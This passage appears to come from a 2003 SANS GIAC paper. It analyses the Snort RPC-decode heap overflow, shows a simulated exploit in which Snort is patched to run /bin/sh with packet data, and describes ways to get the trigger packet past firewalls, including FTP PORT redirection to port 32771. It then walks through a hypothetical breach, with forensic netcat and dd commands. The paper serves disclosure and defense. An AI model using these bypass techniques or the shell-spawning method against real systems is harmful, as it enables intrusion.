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Overview 
Snort is a network based sniffer and lightweight intrusion detection application 
that is released under the GNU public license.  Beginning in Snort version 1.8 
(released in July 2001) and through version 1.9.0 the Snort application included 
an RPC (Remote Procedure Call) fragmentation decoder that was subject to a 
buffer overflow attack.  The vulnerability was fixed in version 1.9.1 (March 3, 
2003) of Snort.  No exploits are published for this vulnerability, however sites 
should make sure they are not vulnerable by upgrading or disabling the RPC 
preprocessor. 
 
Snort has an excellent history free of exploits and helps many people find 
malicious traffic within their network.  Snort is a great tool that should be used 
carefully within the network.  This vulnerability is interesting from the standpoint 
that it attacked the system monitoring the network and how it demonstrates the 
need to secure all machines in an environment – especially those with full packet 
access to the network.  No exploits are currently published for this vulnerability.  
This paper will focus on the vulnerability and a hypothetical incident involving the 
vulnerability. 

The Vulnerability 
The Snort RPC preprocessor vulnerability was discovered by Mark Dowd and 
Neel Mehta of ISS X-force who reported the vulnerability to Snort developers and 
waited for a fixed version to be released before publicizing the vulnerability.  ISS 
Report on the vulnerability.  The vulnerability was classified as CVE candidate 
CAN-2003-0033 and as CERT Vulnerability 916785.   The overflow is also 
discussed on the Snort developer’s list.  The Snort application runs on many Unix 
platforms and Microsoft Windows Systems.  The vulnerability crosses all 
platforms.  The effects may be different, but the overflow will happen on all 
versions.  The list of Snort platforms is listed on the Snort website.   
 

Platforms Affected (from ISS X-Force Database):   
EnGarde Secure Linux Community Edition, Professional Edition 
Gentoo Linux Any version 
Linux Any version 
Mandrake Linux 8.2, 9.0, Corporate Server 2.1 
Mandrake Multi Network Firewall 8.2 
SmoothWall GPL 1.0, 2.0 beta4 
Snort 1.8 through 1.9.0 
Windows Any version    

 
The reader with a sense of humor may wish to check out the satirical list of 
devices reported to be running Snort by Ed Skoudis of CounterHack.  
Vulnerability testing probably wasn’t conducted against any of these devices for 
safety reasons, but it is likely that they are vulnerable to overflows as well. 
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A buffer overflow is caused by a malformed packet that Snort believes to be RPC 
traffic and attempts to decode as RPC.  It is interesting to note the overflow can 
be triggered by a single packet which doesn’t require a connection to an RPC 
service on the network.  If the packet can cross the firewall mechanisms in place 
and get onto a network which a Snort sensor is monitoring (and Snort believes it 
to be an RPC packet) it could cause an overflow on the Snort box.  The overflow 
in turn could allow an attacker to execute arbitrary code with the privileges of the 
Snort process, typically root.  To avoid this vulnerability all Snort users should 
upgrade to a fixed version (1.9.1+) or disable the RPC decode preprocessor.   
 
The attack isn’t against the RPC protocol itself it is an attack against Snort using 
packets Snort believes to be RPC traffic.  Therefore it is the versions of Snort 
that are important not the RPC protocol versions or RPC applications running on 
the network.  The vulnerability could exist in any packet with a destination port 
that is listed in the snort.conf file as RPC traffic.  However, it would take a 
carefully crafted packet to cause harm. 

The Attack 

RPC Packets 
Because the format of the RPC packet is the basis for the attack understanding 
the format of the SunRPC call record is important in order to understand the 
vulnerability.  SunRPC (defined in RFC 1831) was defined by Sun Microsystems 
as a way to uniquely locate and communicate with programs and procedures on 
a remote computer.  The intent was to make procedures on remote computers as 
easy to call as procedures on the local computer.  To accomplish this Sun 
designed the RPC protocol to facilitate calling remote procedures and passing 
parameters.  RPC defines the structure of the packet and XDR (RFC 1832) 
defines the encoding of data within the RPC packet structure. 
 
The TCP/IP stack allows for 65536 unique ports for each TCP and UDP. Sun 
realized this wouldn’t be adequate to uniquely identify all possible procedures so 
they created a process through which programs could register themselves on the 
local machine and then be located by remote systems.  SunRPC uses three 
unique unsigned integer fields to define the remote program number, the remote 
program version, and the remote procedure number.  During initialization RPC 
applications bind themselves to a random port (some applications such as NFS 
almost always bind to the same port) and then register themselves with the 
portmapper service.  A client wishing to speak to an RPC program contacts the 
portmapper service on the remote host.  The client identifies the program it 
wishes to communicate with by passing the unique RPC number to the 
portmapper service and then requests the port number on which program is 
running.  In essence the portmapper service acts as a directory for which RPC 
applications are running on the system and what port they are running on.  By 
executing the command “rpcinfo –p hostname” on a Unix machine the application 
contacts the portmapper service on hostname and lists all RPC applications 
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running.  By default, Snort monitors TCP and UDP destination ports 111 and 
32771 for RPC traffic.  Port 111 is the standard portmapper port (rpcstatd).  
Some SunOS machines use port 32771 as a ghost portmapper.  The Snort user 
can configure additional ports to be monitored if they are using additional ports 
for RPC traffic.   
 
The RPC packet structure is defined within the RFC 1831.  It is designed to run 
over either TCP or UDP.  RPC messages are either call or reply messages.  The 
format of these two message types is essentially the same. Within RPC call 
records there can be multiple fragments.  These fragments are RPC fragments 
and occur independently of any TCP/IP fragmentation.  Each RPC fragment 
consists of a four byte header and up to 2**31 bytes of message data.  The RPC 
fragmentation occurs within and across packets.  This fragmentation of RPC 
messages is where the vulnerability within Snort exists.  The fragment length 
field (which is highlighted in yellow) defines the length in bytes of the fragment.  
The middle image shows a fragmented RPC packet. The fragments are rejoined  
to create the structure on the left before the system processes the RPC data. 

                  
      RPC Packet         Fragmented RPC Packet       Malicious RPC Packet 

 
Snort, which relies on pattern matching, is effective only when these fragmented 
RPC messages are rejoined before looking for patterns.  The rejoining of 
messages is performed in the RPC Decode preprocessor.  Snort preprocessors 
are functions within Snort that perform some action once on every packet.  The 
RPC decode first verifies that the packet has an RPC destination port, second it 
verifies there is RPC data, and then decodes any RPC fragments.  The 
preprocessor uses the buffer allocated for the packet itself to rejoin the RPC 
request.  It determines the length of each fragment from the fragment header and 
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writes that data back into the packet.  This effectively writes the data 
contiguously back into the packet by removing all but one header.  This results in 
a single RPC header and RPC message (shown in the transformation of the 
middle image into the left image).  Snort verifies that each fragment length field is 
less than the length of the entire packet, but does not verify that all  fragment 
length fields combined don’t exceed the packet length.  This is the buffer 
overflow vulnerability and it is therefore possible with a crafted RPC packet to 
overrun the packet buffer.  The attacker isn’t able to directly control the data that 
is written after the end of the packet is reached.  A basic process flow of the RPC 
decode function is: 
 hdrptr = beginning of data in packet /* pointer to beginning of data */ 
 endptr = end of packet /* pointer to the end of the data */ 
 rpc = beginning of data in packet + 4 bytes /* ptr to the reformed rpc */ 
 index = beginning of data in packet /* pointer that data will be read from */ 
 size = size of data portion of packet 
 while (index < end) 
 { 
  hdrptr = index 
  length = length of this RPC fragment 
  if (length > size)  /*check that fragment isn’t longer than packet */ 
   return; 
  else 
   index = index + 4  /* move pointer beyond header to data */ 
   for i = 1 to length 
   { 
    rpc = index /* copy the data from index back to rpc */ 
    rpc ++; index++; hdrptr++ 
   } 
  } 
  store length of rpc data as header at the beginning of the rpc data 
 } 
 
This pseudo code demonstrates that the overrun can occur because the pointers, 
rpc and index, are being incremented by length without verifying whether they 
would move beyond the end of the packet buffer.  However, since the program is 
reading from the index pointer and writing to the rpc pointer the data written 
beyond the end of the packet can’t be controlled directly by the data in the 
packet.  The index pointer where the data is read moves in front of the rpc 
pointer where the data is written by four additional bytes each time a fragment 
header is skipped.  Using this, the attacker can control the offset between the 
reading pointer and the writing pointer which gives them some level of control 
over what can be caused by the overrun.  The image of an RPC packet on the 
right shows a fragment header with no data following it (the last yellow bar).  
Snort would read that header, and if the length defined in the header didn’t 
exceed the packet length, it would continue reading and writing data even though 
the pointers were outside the packet buffer. 
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Buffer Overflows 
Buffer overflows are a common and insidious attack on current systems.  Buffer 
overflows work by writing more data than the program is expecting into a buffer  
which causes the program to write data into memory it shouldn’t.  Buffer 
overflows work in one of two ways.  They either insert code into the program’s 
memory space and then alter the program’s execution to point to that code or the 
buffer overflow alters the execution of  the program to point to code that already 
exists in the program.  Many good resources exist for more information on buffer 
overflows.  In this case the data stored in the packet buffer which is overrun is 
stored on the heap.  That makes this type of attack a heap based overflow.  
Heap overflows offer interesting variations on the more common stack buffer 
overflow because the heap is more often executable than the stack.  The heap 
also contains function pointers which allows the attacker to alter the execution of 
the program instead of just modifying a return pointer.  A more detailed 
explanation of function pointers is in Appendix B.  A good reference on heap 
based overflows can be seen at http://www.w00w00.org/files/articles/heaptut.txt. 
 

A brief review of buffer overflows necessitates a 
review of processes and their memory space.  These 
principles apply to most systems.  For an example we 
will focus on Unix on an x86 architecture.  A process 
has three areas of memory when it is running: code, 
stack, and heap/bss(data).  The code section is the 
machine code which is loaded from the executable file 
into memory.  This area is typically marked as read-
only which limits it’s exposure to attacks.  The stack is 
where static variables and local variables are defined.  
Most buffer overflows attack the stack since they are 
overrunning static strings or arrays.  There are several 
methods available to protect the stack such as a non-
executable stack and protected stack options.  The 
heap (data) is the area of memory where an 
application dynamically allocates memory using 
commands such as malloc.  The Snort overflow 
addressed here is a heap based overflow because the 
packet data is stored in a buffer created with malloc.  
In the diagram we see that by putting 200 bytes into 
buffer1 buffer 2 will be overwritten.  Although this isn’t 
very exciting, it demonstrates the method of 
overrunning the buffer.  The heap typically contains 
data structures and function pointers either one of 
which would be very helpful to manipulate. 
 
Two goals must be accomplished in a buffer overflow 
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attack.  First desired machine code must be either inserted by the attacker or 
located where it already exists within the program.  Typically buffer overflow 
attacks operate by overflowing a character array (string) with machine code the 
attacker wants to execute.  This is complex because the attacker has to ensure 
the machine code has no Null bytes since any Null byte will terminate the string 
and prevent the manipulation.  In this case since characters are being moved 
one at a time and the length is controlled not by a terminating Null byte but by an 
attacker defined length the attacker doesn’t have to worry if the machine code 
contains Null bytes.  Since the buffer is in the heap (which is usually executable) 
inserting code there is worthwhile.   
 
The second critical component is altering the flow of the program to execute the 
desired code.  In this case because there are function pointers in the heap, one 
way to alter the flow would be to manipulate a function pointer to contain a new 
address.  Then the  application would execute the code at that new location. 
 

Function Pointers 
Function pointers allow the attacker to manipulate the program execution.  
Function pointers are a tool used by C programmers to alter which function is  
used in a particular situation during program execution.  For example a 
programmer who has an action to perform on strings in various languages can 
write separate functions for each language.  At runtime, when the program goes 
to perform the action on a string the program determines the language of the 
string and based on that assigns the address of the function for the language to 
the function pointer.   Now the program will execute the correct function for the 
language.  Function pointers can be stored in the Heap, so if the attacker can 
manipulate the function pointer they can control the execution of the program.  
For more detail on Function Pointers and the Heap refer to Appendix B. 
 

Attack Summary 
Now that we have reviewed various building blocks of an exploi t we will examine   
how they could work together.  In this overflow the attacker can control the data 
put onto the heap by manipulating the contents of the packet.  Since Null 
characters can be transferred to the heap creating machine code is straight 
forward.  The next step for the attacker is to manipulate a function pointer to point 
at the code placed in memory.  This is more difficult because the attacker is 
trying to manipulate memory beyond the packet buffer.  The attacker can use the 
offset between the reading pointer and the writing pointer, controlled by the RPC 
fragment count, to their advantage to manipulate memory. 
 
Creating an exploit is not the intent of this paper.  We can simulate an exploit by 
modifying a version of Snort to include an additional check in the ConvertRPC 
function. If the new packet length is larger than the existing packet length it will 
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execute a shell with the parameter as a string beginning at the packet buffer.    
The code added at the end of ConvertRPC is: 
 if (total_len > size - 4) 
 { 
  rpcspawn[0]=”/bin/sh”; 
  rpcspawn[1]=”-c”; 
  rpcspawn[2]=rpc + 1; /* point to the data in the packet */ 
  execve(rpcspawn[0],rpcspawn,NULL); 
 } 
 

The Malicious Packet 
At  this point the exploit is based on a single TCP or UDP packet that the Snort 
sensor detects on the network with destination port 111 or 32771.  The packet 
doesn’t have to be part of an established TCP session.  This makes it much 
easier to manipulate the header values in order to traverse the restrictions put in 
place.  Most packet filters could be easily bypassed in this model using some 
combination of fragmentation making it an acknowledgement packet (TCP 
header flags) or using overlapping fragments to rewrite the destination port.  
Other attacks could be launched using services provided within the network to 
respond to a port on the attacker machine that will trigger the RPC decode.  For 
example if the attacker could send and retrieve fi les via FTP it would be possible 
to request the FTP server to return a crafted file to the attacker on port 32771 
using active mode FTP.  Since the destination port would be 32771 Snort would 
try to decode the packet as an RPC packet.   

The Network 
The intriguing aspect of this vulnerability is the wide range of configurations that 
are vulnerable to the attack.  VMware was used to create a test network with 
multiple machines just complex enough to demonstrate the attack.   

 
The attacking machine is on a separate box connected to the virtual network 
through a Cisco 2621 router.  The configuration was tested with two different 
firewalls – the first was Linux Redhat 7.2 using ipchains and the second firewall 
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was Windows 2000 professional using Symantec Enterprise Firewall version 7.0.  
The router functions as a primary screening device.  The inbound access-list on 
this device is: 
 access-list 101 permit tcp any host 10.1.4.20 eq 80 
 access-list 101 permit tcp any host 10.1.4.20 eq 21 
 access-list 101 permit tcp any host 10.1.4.20 eq 20 
 access-list 101 permit tcp any any established 
 
In this configuration we will only allow active FTP into the network.  By adding the 
appropriate access-lists to allow passive FTP (allow port > 1024 to the ftp host) 
the attack becomes much easier since a packet destined for port 32771 (one of 
the ports Snort by default attempts to decode) would pass through the screening 
router. 
 
The Snort sensor has two interfaces.  The first interface is connected to the DMZ 
Network.  This interface doesn’t have a TCP/IP address assigned to it to prevent 
the sensor from sending traffic to the DMZ.  The second interface is connected to 
the internal network for alerting and configuration.  The version of Snort running 
on the sensor is 1.9.0.  The server in the DMZ is running both HTTP (Apache 
1.3.20) and FTP (WU FTP 2.6.2).  The firewall configurations will be described in 
the attack results for each of the two configurations. 

Packet Filtering Firewall 
 
In the first configuration with an IPChains firewall the configuration is: 
 

 
 
The fifth rule in the chain rejects all packets with the SYN flag set unless they 
were previously accepted.  Packets without the SYN flag are allowed to pass 
(essentially packets that are part of an established TCP session).  This method 
relies on the TCP three-way handshake to limit access because the host should 
reject any packet that hasn’t completed the handshake.  Permitting packets that 
have the ACK bit set (established in Cisco terms) allows the attack to succeed.  
The attack doesn’t require a successful TCP handshake; as long as the packet 
can reach the network the Snort sensor is monitoring the attack will be 
successful.  To accomplish this attack the RPC packet was crafted using packit, 
a tool for creating packets.  The packet consists of two RPC fragment headers 
and the command the attacker wishes to execute on the Snort sensor.  The 
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modified version of Snort used in testing will detect a buffer overflow, output the 
packet data, and perform an execve on /bin/sh with the command to be executed 
as the buffer.  This demonstrates the success of the attack without actually 
coding an exploit for this vulnerability.  The following diagram shows the capture 
from the Snort sensor: 
 

 
 
The actual host also sees the packet, but since it doesn’t have an established 
session it discards the packet. 

 
A variation on this firewall model is for the administrator to secure the network 
further by writing rules that limit traffic to the ports desired whether or not they 
have been acknowledged.  This set of rules effectively prevents the attack above 
because the destination port of 111 isn’t allowed into the DMZ regardless of the 
TCP flags.  The ruleset to accomplish this would be: 
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This set of rules curtails the attacker’s ability to manipulate packets on the 
segment the Snort sensor is monitoring.  However recall that Snort will attempt to 
decode any traffic with a destination port of 111 or 32771.  Since the attacker 
controls the port that the FTP server contacts the client on when using active 
FTP, the attacker can cause Snort to decode the FTP packet.  The attacker is 
able to retrieve a file placed on the FTP server on port 32771 by using netcat to 
create a listener on the attacker’s machine and using active mode FTP with a 
port command of PORT 10,99,1,99,128,3 (128,3 is the base 256 representation 
of port 32771).  This makes Snort believe the file is RPC traffic which needs to be 
decoded and therefore causes the buffer overflow. 
 

 
 
This demonstrates just two ways this attack could be performed on a network 
protected by packet filtering devices. 

Proxying Firewall 
 
The second configuration used Symantec Enterprise firewall to make the attack 
more difficult.  The Symantec firewall proxies all traffic crossing the firewall.  
Protocols such as HTTP and FTP have dedicated proxies – protocols such as 
RPC are proxied using the GSPD (Generic Services Proxy Daemon).  Proxies 
terminate each inbound connection and create an independent connection to the 
server. This makes the attack much more difficult to accomplish since the 
attacker no longer controls the ports involved in the communications on the 
network segment being monitored by Snort.  Recall in the above example when 
an active FTP session was established the attacker could control the port on 
which the FTP server contacted the client.  By selecting port 32771 as the port 
the server communicates with the ftp client the Snort sensor functions as though 
this as RPC traffic and attempts to decode the packet.  The packet captures 
below demonstrate that the firewall is acts as the endpoint for each TCP session 
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and establishes a new TCP session with the actual server.  The TCP session 
established between the firewall and the DMZ host is controlled by the firewall 
not the attacker.   
 

 
 
The above example shows the client contacting the server and downloading a 
file.  Note that the client (10.99.1.99) is receiving the file on port 1032.  The ftp 
control channel is on port 1031 on the client. 
 

 
 
This capture shows the connection from the firewall to the FTP server.  Notice 
that the client address and port in all  the packets is now the address of the 
firewall (10.1.4.1) and a port selected by the firewall.  In the above capture port 
18923 is the data port and port 1106 is the FTP control channel port on the 
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firewall.  The firewall monitored the FTP control session and replaced the client 
requested port in the PORT command with the firewall address and port. 
 
In this model the attacker would have to resort to some other attack method or 
attempt enough transfers that eventually port 32771 would randomly be selected 
by the firewall for the transfer between the firewall and the FTP server.   
 
To test this theory a series of 
tests (61,519) were run  
requesting files from the host 
through the Symantec Firewall. 
The firewall ports ranged from 
15000 to 31999, but never went 
above 31999.  Since this appears 
to be a function of the firewall a 
different attack would be required 
to cause the Snort sensor to 
overflow.  The different 
application proxies appeared 
from limited testing to use 
different port ranges.   
 
 Since the packet isn’t required to accomplish a 3-way handshake, other methods 
of attack could be: spoofing the address of a trusted host; fragmenting the packet 
such that the destination port is originally perceived as a valid port but is 
subsequently overwritten, or somehow exploiting the fact that 32771 is an upper 
level port that may not be secured. 

Signature 
One of the difficulties of this vulnerability is identifying traces of it.  Because the 
attack is against the device that monitors the network, a signature is not likely to 
be helpful.  Version 1.9.1 of Snort (the first fixed version) does include checks 
that validate the RPC packet and sends alerts if the packet is malformed. 
However that will only help those who aren’t vulnerable to the attack.  Detection 
requires that the RPC data is decoded  to ensure it won’t overflow Snort.  Since 
the variations that cause the overflow are infinite, developing a pattern match 
isn’t possible.  Single exploits that use a consistent pattern in the RPC data could 
possibly be caught with a signature, but the class of attack could not.  The attack 
itself doesn’t leave any log entries on the Snort sensor.  However the 
requirement for the buffer overflow to alter the execution path of Snort would be 
the first signs of a problem.  The attacker can either alter the thread that is 
decodes packets for the interface being monitored or they could find a function 
pointer on the heap and alter the execution of the function.  In both cases Snort 
will no longer operate the same way.  Either it will stop executing entirely (as 
demonstrated in the simulated attack using execve) or it will replace a function 
pointer and stop performing the function normally.  In the first case where 
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execution is halted the attacker may choose to restart Snort, but the process 
timestamp would be changed.  An astute administrator might notice the lack of 
data, the gap in data, or the different timestamp on the process, but it is likely this 
attack would go undetected. 
   
Most likely the attack would be detected by other tools deployed in a defense in 
depth strategy.  Host based Intrusion detection such as AIDE or Tripwire could 
alert on files being modified on the Snort sensor.  E-mail monitoring could alert 
that outbound e-mail is being generated with sensitive data or an unauthorized 
user from the Snort sensor.  HTTP proxies could alert on abnormal activity from 
the Snort sensor.  Unfortunately these methods notify only about the result of the 
attack and do not provide an alert on the attack itself. 

Protection 
 
Protecting against this attack involves multiple options.  Vulnerable sites could 
either upgrade to Snort 1.9.1 or disable the RPC preprocessor by commenting it 
out of the snort.conf file (# preprocessor rpc_decode: 111 32771).  The proxying 
firewall also appeared to be fairly successful in thwarting the attacks 
demonstrated.  Relying solely on the proxying firewall would not be a wise choice 
since other attacks could be successful. 
 
Disabling the preprocessor would make Snort less effective at detecting RPC 
attacks.  In version 1.9.0 of Snort the rpc.rules file includes 68 rules for 
monitoring RPC traffic.  While these rules would still be monitored (unless the 
rules file was excluded from snort.conf) fragmentation of the RPC attack would 
mean that Snort wouldn’t be able to detect the RPC attack. 
 
There are several additional features of Snort that can be used to limit the 
effectiveness of an attack.  Snort does require root privileges to startup; however, 
using the command line options the user can be changed to a less privileged 
user once the initialization is complete (-u nobody –g nobody).  This limits the 
attacker’s ability to perform many system operations and prevents the attacker 
from restarting Snort.   
 
From a design perspective changes can be made to restrict the Sensor from 
initiating connections to the outside.  The Snort sensor should be connected to 
either a span or mirror port on a switch or connected to a hub in order for it to see 
all the traffic on a specific segment.  If the sensor is connected to a span port it 
should be restricted at the switch so as not to allow any inbound traffic (Cisco’s 
syntax for this is set span (vlan or port) (dest port) inpkts disable).  If the sensor 
is connected to a hub the configuration of the interface should not be able to 
communicate over the interface (either no IP address or an address that isn’t 
correct).  This should effectively block traffic from the sensor to the switch . 
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Typically the sensor will typically be connected to the internal network for 
alerting, logging, and reporting.  If it isn’t practical to isolate the Snort sensor with 
an air gap from the internal network, steps should be taken to restrict the 
sensor’s access to the internal network and deny any connectivity to the internet 
from the sensor.  When multiple sensors are being used to monitor multiple 
segments this can be accomplished by the sensors being on an isolated segment 
with a logging host.  The logging host could have filters enabled on the interface 
to only allow the logging traffic into the box and use a second interface to 
communicate with the internal network. 

 
The Snort developers provide the option to run the application as a non-
privileged user.  Using the security provided within the application and with good 
system design this vulnerability and any similar vulnerability become ineffective 
because they aren’t able to communicate with the outside world.  However, this 
vulnerability could be used to disable the sensor to hide a different attack as it is 
being executed.   

Incident Handling 
Since there isn’t a published exploit for this vulnerability let’s use a hypothetical 
incident and response.  The company we’ll create for our example is an online 
retailer selling software through their web site.  The company maintains an FTP 
site for customers to download patches and upload sample code and 
configuration files.   
 
The administrators of our hypothetical network felt fairly secure.  Using a 
combination of free tools they constructed a network with two levels of protection 
(screening and ipchains) and separated the external DMZ machines from the 
internal network.  Using packet filters they took a very aggressive approach and 
limited network traffic to only the ports necessary within the DMZ (the second 
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Linux ipchains configuration shown above).  Their web servers communicate with 
the customer database on the internal network across the firewall (not shown in 
the access control list).  For additional security they installed the Snort Intrusion 
Detection software and connected it to the internal network so they could monitor 
it and update the rules.  Realizing the sensitive nature of the system they didn’t 
assign an IP address to the monitoring interface and restricted the inbound 
access to the internal interface to port 80 (web) and 22 (ssh). 
 
Their problems became apparent one Monday morning when their customer list 
was posted on the internet – including credit card information.   

Preparation 
The company in our example is a mid-sized company and hasn’t dedicated the 
time and effort to formalize an incident handling process.  Instead they focused 
their security efforts on the technical side, patching and monitoring.  Beneficial 
policies will be addressed later in this paper; however, the lack of a defined 
incident handling policy is a more common problem in most companies.   
 
The administrators of our sample company included warning banners on their 
FTP server.  However internal systems didn’t include banners because the 
administrators felt the primary threat would come from external machines and not 
their well protected internal machines. 
 
The administrators of this company did use logging on most systems.  Snort logs 
were sent to MySQL and monitored with SnortSnarf.  Apache web logs were 
rotated nightly and stored for 30 days.  FTP logs were also rotated nightly and 
stored for 30 days.  E-mail logs were stored for 30 days and included sender, 
recipient, size, and subject. 

Identification 
In this case identification was fairly straightforward.  The exposed data was 
believed to be their own data since the list was identical to their customer list.  
However, they had to determine the method through which the data was lost in 
order to contain the problem.  The initial response was focused on the decision 
whether or not to disconnect themselves from the internet.  The administrators 
argued the only way to access the tools they would need to research the problem 
was on the internet.  In addition the sales group argued that disconnecting the 
servers would be admitting the data was stolen from the company.  So the 
company stayed connected.   With no information to identify whether the data 
was lost internally or externally the first responders began their search with the 
most logical place – in the database that housed the data.  The MySQL database 
server on the internal network was thoroughly reviewed.  System logs were 
reviewed, checks were run for root kits, and MySQL logs were reviewed.  None 
of the logs contained enough information to lead the incident response group to 
any conclusions.  With no clues at the database server  the next logical system to 
review was the firewall.  Once again, root kits checks were run, system logs were 
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reviewed, but nothing was found here either.  Another administrator began 
reviewing the Snort data.  During the review nothing stood out, but the 
administrator noticed that Snort wasn’t running and that the last log entry was 
from Friday at 8PM.  Although this was somewhat unusual, their Snort process 
had been crashing periodically over the last few weeks so the administrator kept 
looking.  A review of the web server showed no files had changed recently and 
nothing unusual existed in the access logs.  Next the administrators reviewed the 
logs of the FTP server.  Here they found their first clue – someone had sent a 
file, retrieved the file, and immediately deleted the file.  However, since that file 
wasn’t big enough to be their customer database they didn’t follow up on the 
information.    
 
Not believing they had yet found anything significant the administrators moved on 
to the e-mail logs.  While reviewing the e-mail logs a substantial outbound e-mail 
was discovered from the Snort sensor.  While they tried to determine who had 
sent e-mail from the Snort sensor, rumors began to spread in the company about 
the possibility of someone internally sending out the customer list.  Continuing to 
review the e-mail logs the administrators noticed several e-mails being sent to 
the same address.  Since only the subject was logged the administrators decided 
to return to the Snort sensor to continue their research.   
 
Before continuing on to the next steps of incident handling let’s review the last 
two extremely important steps and how they could have been different.  The first 
challenge the company faced was not having a formalized set of policies in 
place.  Two policies that should have been part of the overall security policy 
would have better protected their data in the above hypothetical situation.  First, 
there should have been a  security policy dictating that all confidential data 
(including passwords and credit card numbers) be stored in an encrypted format.  
Even if their customer list could be stolen, the password and credit card data 
would be safe because only specific applications would have the necessary keys 
to decrypt the data.  Second, there should have been in place a policy requiring 
all production systems to log all access providing at a minimum information 
regarding who, what, and when.  Documentation is an essential part of logging 
the incident handler must have a resource to find what types of logging exist and 
where that data is stored.  Not all systems provide extensive logging functionality, 
but without logging it is extremely difficult to trace back events.  Many systems 
have logging that is either disabled by default or disabled by administrators (so 
they don’t have to contend with log file management).  In this case our fictional 
company was logging web access, FTP transfers, and e-mail data, but they 
weren’t logging from the SQL server.  Adding the   “- -log=[filename]” switch to 
the MySQL instance would log all connections to and queries against the 
database.  This would have allowed the administrators to isolate the breach very 
quickly, the log could have provided them with valuable information showing a 
query to select all customer data was run from the Snort sensor.  Instead, in the 
hypothetical scenario, they had to thoroughly review five systems before finding 
the suspicious e-mail. 
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The second set of critical policies are the incident handling policies.  Regardless 
of size all companies should take the time to document basic policies for incident 
handling.  An appropriate policy for a mid-sized company, without a dedicated 
incident handling group, is attached in Appendix A.  At a minimum the policies 
should cover information such as: who decides whether to disconnect the 
machine or network; how information gets shared and communicated both 
internally and externally; and how the incident is handled (single team or multiple 
teams).  In the above example the first problem that wasted valuable time was 
the decision not to disconnect the network.  The second problem our hypothetical 
company faced was involving all the administrators in the Identification phase.  
Multiple teams are sometimes valuable, but unless they are well coordinated  
pieces of information key to determining the nature of the incident may be 
overlooked.  In this case the key information that got overlooked was the unusual 
FTP transfer that took place at the exact time of the Snort process crash together 
with the delivery of the strange e-mail.  

Containment 
Now that our incident handlers identified the suspect machine the next step in the 
process is containment.  At this stage let’s modify the scenario slightly to help our 
administrators cope with the problem.  They will be given a “jump kit” which 
contains the tools they need to contain the problem.  The “jump kit” in this case 
contains procedures, a call list, blank hard drives, a hub, a laptop, and a CD with 
statically linked binaries of the tools they need to investigate the linux machine.  
The statically linked binaries are more likely to return accurate information since 
they don’t rely on system libraries on the compromised system.  In this case the 
CD contains ls, dd, lsof, ps, find, netcat, netstat, ifconfig, script, who, w, and 
whoami.  Many other tools exist that may be necessary for further investigation 
into the system or generating signatures (md5) to preserve evidence.  But these 
are the initial tools the handlers require to preserve “volatile” system information.  
The first step after logging onto the console the administrators perform is to 
change their path to execute their jump kit binaries.  Next they will use script to 
record their actions (script /mnt/floppy since they don’t want to write anything to 
the hard disk).   
 
Data that would be lost if the system were disconnected from the network or 
powered off is known as volatile system data.  Deciding whether to take time to 
gather this data (before significantly altering the state of the machine by 
disconnecting it) is one of the decisions an incident handler must make based on 
the risk and potential reward of capturing additional data.  In our example the 
administrators decide to capture the data.  Since they don’t wish to alter the 
machine any more than necessary, they choose to send the output from their 
commands to another host on the network using netcat (using the syntax 
command | nc host port).  The commands and the syntax used are listed below: 
 

w  This shows the logged in users and current date time 
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netstat -an Current network connections and listeners 
lsof   Processes that own the listeners 
ifconfig  Interface status 
ps -Hef  Current process list 

Other commands could be run at this point, but the primary focus here is to 
capture information that won’t be available on the disk.  The data in the /proc 
structure is volatile and could be very important.  As much information as 
possible should be collected from the proc structures about any questionable 
processes.  Copying the entire /proc structure may not be reasonable since it 
contains a copy of RAM; however, as much data as possible should be 
preserved. 
 
Next the administrators hard power off the machine so a backup could be 
performed.  They choose not to do a normal system backup since that would 
miss valuable data.  The jump kit contains drives sufficiently large to backup the 
systems in the organization.  If a disk duplicator is available the system could be 
backed up with that.  Alternatively the disk could be connected to another system 
and backed up using dd.  In our example the administrators choose to connect 
the disk to another system (rather than risk accidentally booting from the wrong 
media when trying to boot from a boot CD).  To test the boot order of the system 
that will perform the backup, the administrators connected the blank destination 
drive in the same configuration as they will connect the evidence drive and then 
they restart the system.  Ideally the drive should be connected on the second IDE 
chain or the SCSI ID should be changed to a number higher than the existing 
boot disk.  Once they verify the system will not attempt to boot off the evidence 
drive they move the blank backup disk to a slave position and attach the 
evidence drive.  Next they began the backup using: 
 
 dd if=/dev/hdb of=/dev/hdc   
 
If the situation arises where there isn’t a single drive large enough to back up the 
system Thomas Rude proposes a method to backup a large volume to several 
smaller volumes in his paper DD and Computer Forensics.  In special 
circumstances the decision may be made to not take the system offline to 
perform a backup.  Once again this is a business decision, but handlers involved 
with cases like these should stress the added risk of not properly backing up and 
sanitizing a machine.  In this case the backup could be performed using the 
normal backup routines which would miss data in unallocated parts of the disk.  
Another alternative is to perform a backup to a disk on a remote host with the 
following command: 
 
 dd if=/dev/hda | nc host 2345 <- sending side 
 nc –l –p 2345 | dd of=/dev/hdb <- receiving side 2nd ide is destination 
 
This backup will not be a “point in time” backup, instead it will be “point in time” 
only for individual parts of the disk.  If there is substantial disk activity it is 



©
 S

A
N

S 
In

st
itu

te
 2

00
3,

 A
ut

ho
r r

et
ai

ns
 fu

ll 
ri

gh
ts

.

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 

© SANS Institute 2003, As part of GIAC practical repository. Author retains full rights.
 19

possible that the resulting backup will be corrupt as a result of this command.  In 
tests done on a fairly quiet system the resulting backup was usable and accurate. 
Additionally the output of dd can be run through a signature program (such as 
MD5) and or an encryption routine to keep the data secure.  Moving the backup 
across the network has substantial weaknesses and is easy for an attacker to 
spot and subvert; however, if it is the only option available it can provide a 
working backup of the system.  
 
Once a good backup has been made the original disk should be sealed and 
stored in a secure area.  In this case our administrators made a second backup 
before sealing the original disk.  The second backup is to be used in the analysis 
of the event while the first backup is the disk they might use to put the box back 
into production. 
 
Because the machine compromised had complete access to all traffic on the 
DMZ segment the administrators discussed with the management changing 
passwords.  They recommended passwords on all systems in the DMZ as well 
as the passwords used by any applications within the DMZ should be changed.  
The ability of the compromised machine to see all traffic meant that any 
unencrypted passwords were vulnerable.  Users who had accounts on the Snort 
sensor were asked to change their passwords on all  systems (in case they chose 
the same password on multiple systems).  With the almost certain loss of the 
customer database the company decided to change all customer passwords as 
well.   
 
After verifying that the Snort sensor didn’t have any trust relationships (.rhosts, 
ssh keys, etc) with other systems the administrators reviewed the connection 
information obtained using netstat –an earlier to determine if there were any 
abnormal connections to other systems.  If they had found any connections that 
couldn’t be validated as being part of a normal function of the machine they 
would extend the containment to include those systems. 
 
At this point after their initial analysis the administrators felt the attack was 
confined to this box.  However, they didn’t yet have a working hypothesis for the 
